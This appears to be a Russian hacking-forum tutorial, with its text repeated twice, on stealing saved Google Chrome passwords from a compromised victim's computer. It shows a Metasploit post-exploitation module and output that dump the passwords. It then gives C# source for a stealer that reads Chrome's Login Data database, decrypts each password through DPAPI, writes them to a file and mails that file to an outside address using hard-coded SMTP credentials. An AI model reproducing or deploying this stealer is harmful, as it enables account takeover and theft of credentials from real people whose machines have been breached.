Ave Caesars, morituri te salutant! И снова здрасте. Почему я вспомнил Цезаря? Потому что как гладиаторы, что бились во имя его, мы сегодня пойдем в борьбу за пароли гугл хрома во славу Хека.
Как и в любой моей статье будет личный профит и разработка. Ну обо всем по порядку……..
Итак, что мы хотим? Допустим, нам удалось каким либо образом похекать компутер жертвы, это здорово, но мы хотим, разумеется его аккаунт на форуме Кодеби, чтобы почитать приватики. Юзверь оказался неПальцемДеланный и использует разные пароли от разных ресурсов.
Давайте же посмотрим, как мы можем вытащить эти пароли мощью прекрасного метерпретера.
Каким либо образом получаем сессию метерпретера
А далее используем следующий модуль
После чего смотрим исходный файл
Ура джедайская сила метeрпретера справилась с поставленной задачей и вывело нам логин и пароль hac126@narod.ru:hac126@narod.ru
Ну это было бы слишком просто для статьи. А что если у нас нет метерпретера?
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.
Мастер – ключ - это комбинация следующих элементов:
Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
Код класса DPAPI Взят отсюда
Код отправки сообщений на шарпе приводится не будет в целях безопасности.
В итоге получаем профит.
Всем спасибо. Видосик.
Как и в любой моей статье будет личный профит и разработка. Ну обо всем по порядку……..
Итак, что мы хотим? Допустим, нам удалось каким либо образом похекать компутер жертвы, это здорово, но мы хотим, разумеется его аккаунт на форуме Кодеби, чтобы почитать приватики. Юзверь оказался неПальцемДеланный и использует разные пароли от разных ресурсов.
Давайте же посмотрим, как мы можем вытащить эти пароли мощью прекрасного метерпретера.
Каким либо образом получаем сессию метерпретера
А далее используем следующий модуль
Код:
run post/windows/gather/enum_chrome
После чего смотрим исходный файл
Код:
cat /root/.msf4/loot/20170122102848_default_192.168.1.222_chrome.decrypted_217283.txt
Ура джедайская сила метeрпретера справилась с поставленной задачей и вывело нам логин и пароль hac126@narod.ru:hac126@narod.ru
Ну это было бы слишком просто для статьи. А что если у нас нет метерпретера?
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.
Мастер – ключ - это комбинация следующих элементов:
- SID — уникальный идентификатор безопасности.
- HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
- PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
- MasterKey BLOB — это как раз данные с зашифрованным ключом.
Ссылка скрыта от гостей
Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
Код:
string fileDb = @"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
string connectionString = $"Data Source = {fileDb}";
string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
string dbWay = "Login Data";
string db_fields = "logins"; // база паролей SQLITE
byte[] entropy = null;
string description;
DataTable db = new DataTable();
string sql = $"SELECT * FROM {db_fields}";
using (SQLiteConnection connection = new SQLiteConnection(connectionString))
{
SQLiteCommand command = new SQLiteCommand(sql, connection);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
adapter.Fill(db);
}
int rows = db.Rows.Count;
Console.WriteLine($"Всего записей: {rows}");
for (int i = 0; i < rows; i++)
{
string url = db.Rows[i][1].ToString();
string login = db.Rows[i][3].ToString();
byte[] byteArray = (byte[])db.Rows[i][5];
byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
string password = new UTF8Encoding(true).GetString(decrypted);
sw.WriteLine("----------------------------");
sw.WriteLine($"Номер: {i}");
sw.WriteLine($"Сайт: {url}");
sw.WriteLine($"Логин: {login}");
sw.WriteLine($"Пароль: {password}");
}
sw.Close();
MailSend.SendMail("smtp.mail.ru", "codeby1@mail.ru", "123qweasd", "hac126@ya.ru", "Пароли", fileName, fileName);
Console.ReadKey();
Код класса DPAPI Взят отсюда
Ссылка скрыта от гостей
Код отправки сообщений на шарпе приводится не будет в целях безопасности.
В итоге получаем профит.
Всем спасибо. Видосик.